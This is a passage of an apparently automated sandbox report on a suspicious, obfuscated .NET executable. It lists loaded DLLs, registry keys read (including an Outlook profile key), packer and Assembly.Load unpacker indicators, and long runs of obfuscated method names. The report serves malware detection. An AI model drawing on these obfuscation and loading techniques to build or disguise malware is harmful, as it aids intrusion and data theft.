Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\kP8EgMorTr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\kP8EgMorTr.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\kP8EgMorTr.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: kP8EgMorTr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: kP8EgMorTr.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.kP8EgMorTr.exe.52d0000.3.raw.unpack, DlRvq5yJkomY4LIf3S.cs

.Net Code: X2WPMWey8AqqJOPa61l(typeof(Marshal).TypeHandle).GetMethod("GetDelegateForFunctionPointer", new Type[2]{X2WPMWey8AqqJOPa61l(typeof(IntPtr).TypeHandle),typeof(Type)})

.NET source code contains potential unpacker

Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, rEpPJQV6URL37f8mXq.cs	.Net Code: Wd1uQNpiCD System.Reflection.Assembly.Load(byte[])
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, rEpPJQV6URL37f8mXq.cs	.Net Code: Wd1uQNpiCD System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_06D0B5B4 pushad ; retn 0503h		0_2_06D0DFE1
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Code function: 0_2_06D0F2D2 pushad ; iretd		0_2_06D0F2D9

Source: kP8EgMorTr.exe

Static PE information: section name: .text entropy: 7.7229254201155815

Source: 0.2.kP8EgMorTr.exe.52d0000.3.raw.unpack, DlRvq5yJkomY4LIf3S.cs	High entropy of concatenated method names: 'kZ9YdQeiiHN6iHHplRr', 'wEfHEVeR3qXSbOkcscO', 'RLbYs7foSU', 'PW2e71euAk0VMGlpcQV', 'gjVptie4PJx3mKSamWn', 'LKcyQ4eq4Fn8S34m92l', 'RgtTUJcyZL', 'TBNYf2t1gt', 'NdiYZfNUem', 'u6GYH5kC76'
Source: 0.2.kP8EgMorTr.exe.52d0000.3.raw.unpack, vH9V9oD7tIKkmfHnnj.cs	High entropy of concatenated method names: 'CO1Gqr7JX', 'O7OmLZJsW', 'AEjTXD5ed', 'DjTcZUKVY', 'V5WOgiNs3', 'ri688DDjg', 'pN9ncriqM', 'x0i4vkLXV', 'aFLjtabv9', 'zVDpUJsTO'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, BPHUtOLnNX1TNBBy6C.cs	High entropy of concatenated method names: 'K3fQgYY8j', 'ka0FMlhl4', 'jw2m99MGI', 'YO4aG1Suw', 'jxGOmMfj2', 'okei3u5IY', 'vamraAks3bJmkhrIoX', 'iIuV2FGe1s46oAihWj', 'R0nNM1hYE', 'pZpMOjvJX'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, jpTyGdIfYXfOSJg7u7.cs	High entropy of concatenated method names: 'J9FdC3ccIy', 'S7cdtaOdVM', 'ToString', 'wjtdW741PL', 'iMrd2RZGOI', 'hePd66akyl', 'DAhdTETKen', 'aZUd1REflp', 'G7Wd8Vh2Ke', 'KuodVBpFDr'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, ii9TbpDwVj4VyHwdew.cs	High entropy of concatenated method names: 'YvG802s7pe', 'Ajh87A2sQ5', 'VHy8QAPtTK', 'fjN8FNqGsn', 'gm18YUHuvA', 'scJ8mO97mK', 'Fy78aXOmXF', 'u9e8lgk9Zb', 'DFV8OtmrdG', 'lOA8iR08I3'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, wLVJRn6LhWfanhDX6u.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'uVGL3CVPcA', 'G8oLHsgqkH', 'HHvLzqinAA', 'eu2j4ZQ87x', 'L39jX5PeV8', 'XwnjLg1WtQ', 'IwHjjpN2iK', 'vZW3nTUuGN6F56Om4VE'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, PtJ2xmuqlD57FvXoff.cs	High entropy of concatenated method names: 'WJrX8gGUGa', 'YrgXVysDRf', 'GlgXCHMK4Z', 'eUFXt29ZxW', 'yHxXJfAJTV', 'jSOXAp6Grb', 'JJJnTwNVccM2G3YD0v', 'SeVrsjMZYAntyrPp5J', 'd85XXntW0X', 'AnLXjEmKvO'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, uJbwwqXuvhrFBcdg5rt.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'UG4vrFVMeG', 'WRtvMiOeek', 'bG0voXTM6R', 'Aa5vvXdl3k', 'GYGvx0NZH8', 'zsrvex5JMs', 'yUHvsiaeUR'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, z2sVuFHhwOxq1ZhDsE.cs	High entropy of concatenated method names: 't9IM6bHCrP', 'gR7MTj4531', 'wXbM178TuF', 'H2CM8XI3TW', 'jxYMr1s8Tk', 'Ku2MVrGqUW', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, iDfM96fsdG8TI2V6rF.cs	High entropy of concatenated method names: 'ffQ8WFaqm3', 'jNF86u9Go3', 'cgH81TldHg', 'FaU1HYLEot', 'IFG1zresYV', 'RJi84d13kD', 'VSM8XjJsCp', 'sxT8LSjsIP', 'qEB8j8pGen', 'lbA8u4BNoI'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, mZrpi6z1Nfud5h9Fj2.cs	High entropy of concatenated method names: 'eUmMm4XOgM', 'jQ4Ml6MCnm', 'XfTMOEcQcc', 'T5sMKYj0ut', 'rs2MUZpOJe', 'oMFMZZ2D6t', 'fBwMPqixjh', 'iqbMsgHB3s', 'SXUM0vTCRQ', 'YvrM7LQZQs'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, q8O9oWg702N00qHtOJ.cs	High entropy of concatenated method names: 'Tj5rJA978L', 'DnQrd1S7lx', 'OhurrZAXfG', 'HOProU9x3i', 'LckrxMCvTi', 'jdBrsagEv1', 'Dispose', 'xylNWTUBi2', 'oInN2bUb48', 'cgkN6sCJv4'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, YIEg1T2LbG8rASQpNY.cs	High entropy of concatenated method names: 'Dispose', 'gN0X30qHtO', 'QjsLUMAG3B', 'VhuRWskjWd', 'oY4XHd4weK', 'Hw7XzY7Xfe', 'ProcessDialogKey', 'eYOL4h8slI', 'eIOLXYe0xE', 'eomLL72sVu'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, J8fA5lqdJSJ8cqu8Vd.cs	High entropy of concatenated method names: 'ToString', 'EEOAbrY5LP', 'dDWAUcO1Aw', 'vcjAyoFttX', 'PwtAZxuE4r', 'LoSAPC6GId', 'ziWA9VcEpb', 'dJRAfaNP9J', 'a1IAn7knBs', 'rbbADTS7r6'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, lbcVD2GDTHB2oaAfub.cs	High entropy of concatenated method names: 'fSGRlDEoR5', 'DjJROZcRAC', 'I50RKQGHKI', 'nh4RUkhxti', 'WiVRZxMlpC', 'CugRPCJ2MU', 'ECVRfUT0Wg', 'haNRnyV4Pb', 'dvFRE3oHkK', 'xSwRbmbmJV'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, oh4SCQX4gNWAD6iyPoO.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'oBaMbiwpiq', 'rPHMkVb8gZ', 'DTbMGKGHvO', 'tJKMhdtHNI', 'y4MM52lr6h', 'd5AMqSFUQG', 'LpVMI6KlLv'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, rgGUGalHrgysDRf4jP.cs	High entropy of concatenated method names: 'oFu2h8uyps', 'npY25mNrA1', 'GHG2qbLVuj', 'lQi2IjLnB4', 'rbt2BIpvDm', 'r2H2wPjPwn', 'cFe2gvK0uA', 'dgs2SfM4VI', 'cob239Q0IR', 'UIM2HrBxnP'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, KZxW7jiH22LPS7HxfA.cs	High entropy of concatenated method names: 'C7CTYuGwSV', 'xuPTav8CGg', 'nfS6yDl0oS', 'z4D6ZIxuNT', 'hHQ6PnmaGa', 'FPj69r5pRG', 'yw06fbZkMw', 'dDg6nwnsYi', 'CO76DyJrTZ', 'B5K6Eh33av'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, rEpPJQV6URL37f8mXq.cs	High entropy of concatenated method names: 'aQMjpC0BfE', 'BEwjWhbKLR', 'nZ9j2gO2FO', 'Cvfj6cgehK', 'LWbjTl3AJK', 'FOGj1YEaLo', 'TKSj8iBIQ9', 'ERXjVP7NV9', 'HtLjcvfFCt', 'YNwjC6lMdF'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, ClNdkUXX0RfnYApgJkn.cs	High entropy of concatenated method names: 'h7gMHM77eF', 'JitMzDnVDJ', 'fPCo4LA2L1', 'd6YoX52FeU', 'kKQoLUww1l', 'CL2ojKNyb3', 'lefouXfFfd', 'cmjopIWKyl', 'SXWoWZY9ZB', 'J73o2HdkaI'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, Bwb3C9wDBap2ZIO8VC.cs	High entropy of concatenated method names: 'zi5dSNYNm0', 'lbidHAvlvu', 'XcIN4tFy3e', 'KxONXLOsCv', 'eRtdbmHk5u', 'YIudkHDhu7', 'aHxdGYs6Ht', 'b3idhiAm7i', 'OFxd5PPwo9', 'dIedq4JGpX'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, wnMmFUOlgHMK4ZpUF2.cs	High entropy of concatenated method names: 'tnL6FGbpR5', 'obA6m9CqKF', 'Cd76lib8k0', 'UvE6OeHVNP', 'uwx6J2n3kH', 'LvT6AE1FJ5', 'BsM6drVp3f', 'Xcf6NhIrPx', 'SSw6rmUQCT', 'y086MPlDAQ'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, oTV8SOKp6GrbJLE30p.cs	High entropy of concatenated method names: 'PTj1pt1nGi', 'nOF122n6hA', 'Jyw1Tv10So', 'Vuo185TEKD', 'tEZ1Vp1YV0', 'kEETBFKgEV', 'eaiTwqM1k8', 'dGHTgK89SH', 'ipmTSYNYTC', 'GRbT3Ni3Eu'
Source: 0.2.kP8EgMorTr.exe.6d10000.4.raw.unpack, Eh8slI3pIOYe0xEpom.cs	High entropy of concatenated method names: 'bt0rKUcxNd', 'jgRrUIDD5l', 'N73ry8taI9', 'iJfrZVHc12', 'dDhrPXerof', 'C2cr9tyPr3', 'RaMrf6QabY', 'h47rnFwXqm', 'XILrDaHOKo', 'HcYrEpYsuM'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, BPHUtOLnNX1TNBBy6C.cs	High entropy of concatenated method names: 'K3fQgYY8j', 'ka0FMlhl4', 'jw2m99MGI', 'YO4aG1Suw', 'jxGOmMfj2', 'okei3u5IY', 'vamraAks3bJmkhrIoX', 'iIuV2FGe1s46oAihWj', 'R0nNM1hYE', 'pZpMOjvJX'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, jpTyGdIfYXfOSJg7u7.cs	High entropy of concatenated method names: 'J9FdC3ccIy', 'S7cdtaOdVM', 'ToString', 'wjtdW741PL', 'iMrd2RZGOI', 'hePd66akyl', 'DAhdTETKen', 'aZUd1REflp', 'G7Wd8Vh2Ke', 'KuodVBpFDr'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, ii9TbpDwVj4VyHwdew.cs	High entropy of concatenated method names: 'YvG802s7pe', 'Ajh87A2sQ5', 'VHy8QAPtTK', 'fjN8FNqGsn', 'gm18YUHuvA', 'scJ8mO97mK', 'Fy78aXOmXF', 'u9e8lgk9Zb', 'DFV8OtmrdG', 'lOA8iR08I3'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, wLVJRn6LhWfanhDX6u.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'uVGL3CVPcA', 'G8oLHsgqkH', 'HHvLzqinAA', 'eu2j4ZQ87x', 'L39jX5PeV8', 'XwnjLg1WtQ', 'IwHjjpN2iK', 'vZW3nTUuGN6F56Om4VE'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, PtJ2xmuqlD57FvXoff.cs	High entropy of concatenated method names: 'WJrX8gGUGa', 'YrgXVysDRf', 'GlgXCHMK4Z', 'eUFXt29ZxW', 'yHxXJfAJTV', 'jSOXAp6Grb', 'JJJnTwNVccM2G3YD0v', 'SeVrsjMZYAntyrPp5J', 'd85XXntW0X', 'AnLXjEmKvO'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, uJbwwqXuvhrFBcdg5rt.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'UG4vrFVMeG', 'WRtvMiOeek', 'bG0voXTM6R', 'Aa5vvXdl3k', 'GYGvx0NZH8', 'zsrvex5JMs', 'yUHvsiaeUR'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, z2sVuFHhwOxq1ZhDsE.cs	High entropy of concatenated method names: 't9IM6bHCrP', 'gR7MTj4531', 'wXbM178TuF', 'H2CM8XI3TW', 'jxYMr1s8Tk', 'Ku2MVrGqUW', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, iDfM96fsdG8TI2V6rF.cs	High entropy of concatenated method names: 'ffQ8WFaqm3', 'jNF86u9Go3', 'cgH81TldHg', 'FaU1HYLEot', 'IFG1zresYV', 'RJi84d13kD', 'VSM8XjJsCp', 'sxT8LSjsIP', 'qEB8j8pGen', 'lbA8u4BNoI'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, mZrpi6z1Nfud5h9Fj2.cs	High entropy of concatenated method names: 'eUmMm4XOgM', 'jQ4Ml6MCnm', 'XfTMOEcQcc', 'T5sMKYj0ut', 'rs2MUZpOJe', 'oMFMZZ2D6t', 'fBwMPqixjh', 'iqbMsgHB3s', 'SXUM0vTCRQ', 'YvrM7LQZQs'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, q8O9oWg702N00qHtOJ.cs	High entropy of concatenated method names: 'Tj5rJA978L', 'DnQrd1S7lx', 'OhurrZAXfG', 'HOProU9x3i', 'LckrxMCvTi', 'jdBrsagEv1', 'Dispose', 'xylNWTUBi2', 'oInN2bUb48', 'cgkN6sCJv4'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, YIEg1T2LbG8rASQpNY.cs	High entropy of concatenated method names: 'Dispose', 'gN0X30qHtO', 'QjsLUMAG3B', 'VhuRWskjWd', 'oY4XHd4weK', 'Hw7XzY7Xfe', 'ProcessDialogKey', 'eYOL4h8slI', 'eIOLXYe0xE', 'eomLL72sVu'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, J8fA5lqdJSJ8cqu8Vd.cs	High entropy of concatenated method names: 'ToString', 'EEOAbrY5LP', 'dDWAUcO1Aw', 'vcjAyoFttX', 'PwtAZxuE4r', 'LoSAPC6GId', 'ziWA9VcEpb', 'dJRAfaNP9J', 'a1IAn7knBs', 'rbbADTS7r6'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, lbcVD2GDTHB2oaAfub.cs	High entropy of concatenated method names: 'fSGRlDEoR5', 'DjJROZcRAC', 'I50RKQGHKI', 'nh4RUkhxti', 'WiVRZxMlpC', 'CugRPCJ2MU', 'ECVRfUT0Wg', 'haNRnyV4Pb', 'dvFRE3oHkK', 'xSwRbmbmJV'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, oh4SCQX4gNWAD6iyPoO.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'oBaMbiwpiq', 'rPHMkVb8gZ', 'DTbMGKGHvO', 'tJKMhdtHNI', 'y4MM52lr6h', 'd5AMqSFUQG', 'LpVMI6KlLv'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, rgGUGalHrgysDRf4jP.cs	High entropy of concatenated method names: 'oFu2h8uyps', 'npY25mNrA1', 'GHG2qbLVuj', 'lQi2IjLnB4', 'rbt2BIpvDm', 'r2H2wPjPwn', 'cFe2gvK0uA', 'dgs2SfM4VI', 'cob239Q0IR', 'UIM2HrBxnP'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, KZxW7jiH22LPS7HxfA.cs	High entropy of concatenated method names: 'C7CTYuGwSV', 'xuPTav8CGg', 'nfS6yDl0oS', 'z4D6ZIxuNT', 'hHQ6PnmaGa', 'FPj69r5pRG', 'yw06fbZkMw', 'dDg6nwnsYi', 'CO76DyJrTZ', 'B5K6Eh33av'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, rEpPJQV6URL37f8mXq.cs	High entropy of concatenated method names: 'aQMjpC0BfE', 'BEwjWhbKLR', 'nZ9j2gO2FO', 'Cvfj6cgehK', 'LWbjTl3AJK', 'FOGj1YEaLo', 'TKSj8iBIQ9', 'ERXjVP7NV9', 'HtLjcvfFCt', 'YNwjC6lMdF'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, ClNdkUXX0RfnYApgJkn.cs	High entropy of concatenated method names: 'h7gMHM77eF', 'JitMzDnVDJ', 'fPCo4LA2L1', 'd6YoX52FeU', 'kKQoLUww1l', 'CL2ojKNyb3', 'lefouXfFfd', 'cmjopIWKyl', 'SXWoWZY9ZB', 'J73o2HdkaI'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, Bwb3C9wDBap2ZIO8VC.cs	High entropy of concatenated method names: 'zi5dSNYNm0', 'lbidHAvlvu', 'XcIN4tFy3e', 'KxONXLOsCv', 'eRtdbmHk5u', 'YIudkHDhu7', 'aHxdGYs6Ht', 'b3idhiAm7i', 'OFxd5PPwo9', 'dIedq4JGpX'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, wnMmFUOlgHMK4ZpUF2.cs	High entropy of concatenated method names: 'tnL6FGbpR5', 'obA6m9CqKF', 'Cd76lib8k0', 'UvE6OeHVNP', 'uwx6J2n3kH', 'LvT6AE1FJ5', 'BsM6drVp3f', 'Xcf6NhIrPx', 'SSw6rmUQCT', 'y086MPlDAQ'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, oTV8SOKp6GrbJLE30p.cs	High entropy of concatenated method names: 'PTj1pt1nGi', 'nOF122n6hA', 'Jyw1Tv10So', 'Vuo185TEKD', 'tEZ1Vp1YV0', 'kEETBFKgEV', 'eaiTwqM1k8', 'dGHTgK89SH', 'ipmTSYNYTC', 'GRbT3Ni3Eu'
Source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, Eh8slI3pIOYe0xEpom.cs	High entropy of concatenated method names: 'bt0rKUcxNd', 'jgRrUIDD5l', 'N73ry8taI9', 'iJfrZVHc12', 'dDhrPXerof', 'C2cr9tyPr3', 'RaMrf6QabY', 'h47rnFwXqm', 'XILrDaHOKo', 'HcYrEpYsuM'

Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
